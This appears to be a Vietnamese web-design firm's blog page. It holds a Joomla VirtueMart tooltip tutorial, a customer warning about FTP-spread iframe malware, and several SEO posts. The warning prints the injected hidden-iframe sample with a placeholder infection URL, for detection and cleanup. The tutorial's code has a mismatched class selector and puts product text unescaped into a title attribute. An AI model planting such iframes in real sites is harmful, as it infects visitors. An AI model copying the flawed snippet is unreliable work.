Webmaster và thủ thuật

Cách đơn giản nhất tạo Tooltip cho sản phẩm Virtuemart trong Joomla (dùng mootool)

Trong quá trình triển khai các dự án Web cho khách hàng, chúng tôi nhận thấy có nhiều yêu cầu liên quan đến tạo Tooltip cho các sản phẩm trong VirtueMart. Khi các bạn webmaster tìm kiếm thông tin trên Google về phương pháp thực hiện, các bạn sẽ tìm thấy nhiều plugins về Tooltip cho Joomla, nhưng hiếm plugin cho Virtuemart và đa số chúng đều rắc rối, nhiều mã, nặng nề và khó sử dụng.

Hôm nay, WebsitePlaza trình bày một phương pháp đơn giản nhất cho các bạn Webmaster sử dụng khi muốn nhúng Tooltip cho các thiết kế web của mình. Chỉ cần chưa đến 10 dòng lệnh và một số điều chỉnh, bạn sẽ thành công!

Tạo Tooltip cho VirtueMart

Bước 1: 90% công việc bạn thực hiện là vài dòng lệnh thêm vào file "/components/com_virtuemart/themes/default/templates/common/productsnapshot.tpl.php", cụ thể:

Tìm đến thẻ a như dưới đây (khoảng dòng 30):

 <a title=" href="/"><?php echo $product_name; ?></a>

Thay thế thẻ A để thêm vào thuột tính class và title, tiếp theo là chèn đoạn JS ngay sau thẻ đóng </a>, như dưới đây:

 <a class="Tips" title="::<?php echo strip_tags(str_replace("\"","'",$product_desc),'<br><b><i><br /><br/><p><span>'); ?>" href="/"></a> <script type="text/javascript">var ATips = new Tips($$('.Tips<?php echo $product_id; ?>'), {
className: 'vnbttcustom',
showDelay: 300, //default is 100
hideDelay: 100, //default is 100
width: '500px',
});
</script>

Bước 2: Mặc định, VirtueMart không lấy product_desc (mô tả sản phẩm) khi xem ở chế độ list, bạn cần điều chỉnh 1 chút xíu tại file: /administrator/components/com_virtuemart/classes/ps_product.php

Bước 2.a: Bạn mở file ra, tìm đến dòng 2482, có đoạn:

$tpl->set( 'product_id', $product_id); $tpl->set( 'product_name', $db->f("product_name") );

bạn chèn ngay sau đó 1 dòng lệnh duy nhất:

$tpl->set( 'product_desc', $db->f("product_desc") );

Bước 2.b (Bổ sung): VirtueMart ngoài trang chủ, còn có phần liệt kê sản phẩm của danh mục; chúng ta cũng cần phải chỉnh sửa một số File dưới đây:

File "/administrator/components/com_virtuemart/html/shop_browse_queries.php", tại dòng 37, thêm , `product_desc` vào sau , `product_s_desc`

File "/administrator/components/com_virtuemart/html/shop.browse.php" tìm đến

$product_s_desc = $db_browse->f("product_s_desc");
if( empty($product_s_desc) && $product_parent_id!=0 ) {
$product_s_desc = $dbp->f("product_s_desc"); // Use product_s_desc from Parent Product
}

Thêm vào ngay sau đó:

$product_desc = $db_browse->f("product_desc");
if( empty($product_desc) && $product_parent_id!=0 ) {
$product_desc = $dbp->f("product_desc"); // Use product_desc from Parent Product
}

VÀ, tìm đến

$products[$i]['product_s_desc'] = $product_s_desc;

thêm vào ngay sau đó

$products[$i]['product_desc'] = $product_desc;

Cuối cùng: bạn vào thư mục "/components/com_virtuemart/themes/default/templates/browse", tìm file browse_xxxx.php mà bạn dùng, sau đó ADD thông tin tương tự bước 2.a trên đây.

(Đến đây là OK rồi, refresh trang là bạn sẽ có kết quả)

Bước 3: bước này tùy chọn, bạn thêm CSS để Tooltip của bạn được đẹp:

Bạn tạo trong file css của template 3 class có tên như sau và tùy chỉnh tùy thích nhé: 

/* VINABITS/WebsitePlaza: Tooltip */
.vnbttcustom-tip {
color: #000;
width: 130px;
z-index: 13000;
} .vnbttcustom-title {
font-weight: bold;
font-size: 11px;
margin: 0;
color: #3E4F14;
padding: 8px 8px 4px;
background: #C3DF7D;
border-bottom: 1px solid #B5CF74;
} .vnbttcustom-text {
font-size: 11px;
padding: 4px 8px 8px;
background: #CFDFA7;
}

Đến đây nếu bạn để ý, bạn có thể thực hiện được Tooltip theo nhiều biến, chứ không chỉ là product_desc! 

Tạo Tooltip cho các Component khác của Joomla

Như các bạn đã thấy, chỉ cần tìm đúng file Template tương ứng của mỗi component và thực hiện các bước tương tự...

Ghi chú

Thực hiện tốt trên J1.5, áp dụng để làm tương tự trên J2.5 và J3.0 các bạn nhé.

Nếu bạn thấy bài viết hữu ích, hãy LIKE để ủng hộ chúng tôi tiếp tục chia sẻ nhé!...

Cảnh báo về hiện tượng website khách hàng bị nhiễm Virus IFRAME gia tăng

Để thông tin nhanh nhất đến các bạn, WebsitePlaza xin môt tả vắn tắt như sau:

Khi một website bị nhiễm virus loại này, nếu không được phát hiện kịp thời, tất cả các truy cập vào website đó đều sẽ bị ngăn chặn bởi các trình duyệt thông dụng. Thông thường bạn sẽ nhận được một cảnh báo thay vì được vào trang web của bạn một cách trực tiếp, với Chrome giao diện nó sẽ có dạng như hình dưới:

google-chrome-malware-websiteplaza

 

WebsitePlaza đã nhận được nhiều phản ảnh từ khách hàng, chúng tôi đã xử lý tất cả các trường hợp phát hiện được. Tuy nhiên, để hạn chế đến mức thấp nhất khả năng lây nhiễm lại, WebsitePlaza tóm tắt một số thông tin liên quan đến loại virus này như sau:

 

1. Nguyên nhân: máy Laptop (PC) của bạn bị nhiễm trojain và bạn dùng máy này dể UPLOAD/DOWNLOAD thông tin trên website thông tin qua tài khoản FTP do WebsitePlaza cung cấp. Lúc này, trojain sẽ tìm kiếm toàn site của bạn (sử dụng tài khoản FTP) và chèn các đoạn mã độc vào tất cả các file co chưa cụm từ "index" (index.html, index.php,...).

 

2. Đoạn mã Virus sẽ có dạng như sau:

<!-- . --><iframe width="1px" height="1px" src="/http://duong_dan_nhiem_vi_rusxxxxx"; style="display: block;" ></iframe><!-- . -->


3. Cách nhận dạng:

Virus luôn luôn chèn ở đầu và cuối nội dung của nó cặp thẻ "<!-- . -->" và "<!-- . -->"


4. Phòng chống hiệu quả nhất:

Có đến hơn 90% virus lây lan từ Latop (PC) của bạn và qua đường FTP!! Do vậy, cách phòng chống hiệu quả nhất là đối với khách hàng của WebsitePlaza đang là webmaster (quản trị web), xin hãy cài đặt chường trình diệt virus của Kaspersky, ESET, AVAST,... có uy tín (tốt nhất bạn nên xem trên trang web chính thức của họ đã có cảnh báo về dạng virus này chưa Đã diệt/ngăn chặn được nó chưa? trước khi lựa chọn cài đặt)


5. Cách loại bỏ virus, đưa website trở lại hoạt động bình thường:

- Đối với khách hàng sử dụng dịch vụ "Quản trị web" hoặc "Dịch vụ quảng cáo trên Google" của WebsitePlaza, chúng tôi sẽ phát hiện ngay hiện tượng này và tự xử lý cho khách hàng.

- Đối với khách hàng không sử dụng các dịch vụ quản trị web (chỉ sử dụng dịch vụ thiết kế Website thông thường): vui lòng gởi thông báo "Yêu cầu hỗ trợ" cho chúng tôi càng sớm càng tốt (trước khi web bị block là tốt nhất), chúng tôi sẽ xử lý cho quý khách hàng. Trong trường hợp website bị Google BLOCK, chúng tôi cũng có thể xử lý cho khách hàng và thời gian website trở về trạng thái bình thường là trong vòng 24h.


Trên đây là thông báo quan trọng về hiện tượng Virus IFRAME lây nhiễm tràn lan trong thời gian gần đây (nửa đầu năm 2013), rất mong quý khách hàng quan tâm để website của mình hoạt động có hiệu quả tốt nhất.

Giúp Google Index nhanh website với Backlink Generator

        Thông thường khi các bạn xây dựng xong một trang web nhưng website của bạn được [[Google Index]] rất chậm hoặc có thể là chưa index trang của bạn. Vậy phải làm sao để Google index nhanh hơn? Websiteplaza xin giới thiệu một thủ thuật nhỏ để Google Index website bạn với [[Backlink Generator]].

SEO cho Flash: 5 Lời khuyên để thực hành tốt nhất.

SEO cho Flash: 5 Lời khuyên để thực hành tốt nhất.


   Gần đầu xếp hạng   Tiếp thị trực tuyến  Tiếp thị trực tuyến, Tìm kiếm, Mẹo tìm kiếm
SEO cho Flash –Thực tế  nó đã  thực  hiện chưa?

 

   Một trong những vấn đề phổ biến nhất của các trang web hiện nay là  khả năng tìm kiếm rất ít nó liên uan đến Google việc không có khả năng thu thập dữ liệu và lập chỉ số mục nội dung của trang web. Các trang web được làm hoàn toàn với Flash là vấn đề bởi vì thường xuyên không có liên kết cho các trình thu thập công cụ tìm kiếm thông tin để làm theo hoặc văn bản HTML để sao chép.

 

   Theo trung tâm phát triển Opera (trình duyệt), một nơi nào đó giữa 30% và 40% của tất cả các trang thử nghiệm đại diện cho rất nhiều nội dung có thể không được bao gồm trong các kết quả tìm kiếm hoặc chỉ một phần lập chỉ số mục các tập tin Flash. Mặc dù một số lượng lớn các trang web xuất bản nội dung bằng cách sử dụng loại định dạng tập tin, Flash và các công cụ tìm kiếm được như dầu và nước. Họ chỉ cần không pha trộn.

 

   Trong mùa hè năm 2008, Google tuyên bố nó đã cải thiện việc lập chỉ số mục các tập tin Flash của Adobe. Nhiều nhà phát triển Flash và SEO trên toàn cầu có thể thở một tiếng thở dài nhẹ nhõm lạc quan: văn bản trong các tập tin Flash đã thu thập.

 

   Tuy nhiên, toàn bộ câu chuyện là những gì? Một trang web có thể được xây dựng hoàn toàn với Flash và mong đợi để đạt được lợi ích tìm kiếm giống như một trang web HTML?
Hãy xem xét 5 điểm này mà Google liên quan đến SEO cho Flash:

 

1. Google có thể thu thập dữ liệu và lập chỉ số mục tất cả các nội dung văn bản của người sử dụng khi họ tương tác với các tập tin Flash. Đó là một bước tiến lớn trong đúng hướng, kể từ khi đảm bảo một trang web là thu thập các số 1 SEO cơ bản. Một vài điểm để giữ trong tâm trí liên quan đến SEO cho Flash:

    Google cho rằng các văn bản trong các tập tin Flash được xử lý như văn bản trong các tập tin HTML hoặc dạng PDF.

    Nếu nội dung giống hệt nhau được sử dụng trong cả Flash và HTML, Google sẽ có thể nhìn thấy nó như là nội dung trùng lặp.

   Nếu như một tập tin Flash được nhúng vào trong HTML, bạn sẽ có thể thêm thông tin meta, nhưng nội dung sẽ được lập chỉ số mục như một mục duy nhất.

   Những hình ảnh dưới đây minh họa làm thế nào một trang web Flash đã thấy trước đó trong các kết quả tìm kiếm (không có văn bản mô tả meta) và làm thế nào để nó nhìn thấy (với văn bản mô tả):

 

2. Google có thể khám phá các liên kết bên trong các tập tin Flash. Nói cách khác, nếu một tập tin Flash bao gồm các liên kết đến trang web của bạn, bạn có thể làm tăng tỷ lệ cược của bạn Google tìm kiếm và thu thập dữ liệu của trang web - cũng giống như là trường hợp với các liên kết xuất hiện trong các tập tin HTML và khác.

 

3. Google có thể lập chỉ số mục nội dung bên ngoài một tập tin Flash tải và liên kết nó với tập tin Flash đó. Khả năng này là một bản cập nhật từ các phiên bản mùa hè 2008. Trước đây, nếu một tập tin Flash để tải một tập tin HTML hoặc XML, Google sẽ không kết hợp mà nội dung bên ngoài với các tập tin Flash. Khả năng mới này, được giới thiệu vào mùa hè này, cho phép nội dung bên ngoài để xuất hiện trong kết quả tìm kiếm.

 

   Những hình ảnh dưới đây cho thấy kết quả  truy vấn trước khi giới thiệu các khả năng tìm kiếm mới Flash, kết quả này đã không xuất hiện vì nội dung được chứa trong một tập tin XML được nạp bởi một tập tin Flash "Tansporter 2002 VW 888.

4. Google hỗ trợ kỹ thuật JavaScript phổ biến cho nhúng flash. Một cập nhật từ phiên bản 2008, khả năng này cũng áp dụng cho SWFObject và SWFObject 2. Trước đây, nếu một trang được tải một tập tin Flash bằng cách sử dụng JavaScript, Google sẽ không công nhận hoặc chỉ số nó.

 

5. Google có thể các trang web chỉ số kịch bản với ActionScript. Điều đó bao gồm AS1, AS2 và AS3 phiên bản. Google cũng duy trì được không biên dịch ngược tập tin Flash hoặc tiếp xúc với ActionScript mã nếu nó không hiển thị cho người dùng.

 

   Tất cả mà nói, khả năng của Google thu thập dữ liệu các tập tin Flash vẫn đang phát triển, do đó, việc xây dựng một trang web hoàn toàn trong Flash không phải là thực hành tốt nhất. Để tạo ra sự cân bằng đúng khi nói đến bằng cách sử dụng Flash và thực hiện SEO cho Flash, hãy xem xét những lời khuyên này:

      Không sử dụng Flash như chuyển hướng.

      Nhúng file Flash vào trang HTML.

      Sử dụng tiêu đề trang mô tả và mô tả meta.

      Không bao gồm toàn bộ một trang web trong một tập tin Flash. Thay vào đó, phá vỡ các nội dung vào nhiều các tập tin Flash với các trang khác nhau HTML.

      Sử dụng Flash cho các yếu tố thiết kế và nội dung ít quan trọng hơn, và sử dụng HTML cho các yếu tố trang quan trọng nhất.

 

    Tăng cường các phông chữ web trong các tập tin Flash bằng cách sử dụng slfr, mỗi một đề nghị của SEO Zombie Blogger Justin Briggs. Bởi vì phong cách Flash nâng cao nội dung HTML chứ không phải là thay thế nó, Chương trình vẫn có thể đọc tiêu đề.

 

   Đối với Flash tối ưu hóa từ nguồn, hãy chắc chắn kiểm tra Trung tâm Công nghệ Adobe SEO trang web, được thành lập đặc biệt để cung cấp cho quản trị web với những thách thức và cung cấp các bước thực tế, ví dụ, thực hành tốt nhất và bạn có thể làm theo để khắc phục chúng .

 

   Trong khi Flash, Ajax và JavaScript cung cấp trải nghiệm người dùng hấp dẫn, họ tiếp tục cung cấp một ít kinh nghiệm lý tưởng cho các trình thu thập thông tin công cụ tìm kiếm. Chiến thuật hoặc thực hành tốt nhất bạn có thể tìm thấy trong việc cân bằng đa phương tiện và SEO? Bạn có nghĩ rằng nó hợp lý cho một trang web có một thành phần Flash tuyệt vời và vẫn có thể cạnh tranh trong các chuyên mục tìm kiếm tích cực?

 

 
 
 
 
 
 

Tối ưu hóa công cụ tìm kiếm địa điểm trên Google Places

Bạn yêu cầu [[Google Place]] cho doanh nghiệp của bạn? Nếu bạn có một trang Google Places, nó sẽ hiển thị tại hoặc gần đầu danh sách doanh nghiệp địa phương trong các kết quả tìm kiếm?

Nếu bạn trả lời "không" với bất kỳ câu hỏi nào, hãy tiếp tục đọc.  Website Plaza chúng tôi có 10 lời khuyên cho việc tối ưu hóa điểm tìm kiếm trên Google Places đối với doanh nghiệp nhỏ. Nhiều trong số những lời khuyên SEO cũng được áp dụng cho Bing và Yahoo , với dịch vụ cung cấp miễn phí cho doanh nghiệp .

 

Nhưng trước tiên, đây là một nền tảng nhỏ cho bất cứ ai không quen thuộc với Google Place, và tại sao nó là một bổ sung tốt để tiếp thị cho việc bạn thực hiện chiến lược kinh doanh  .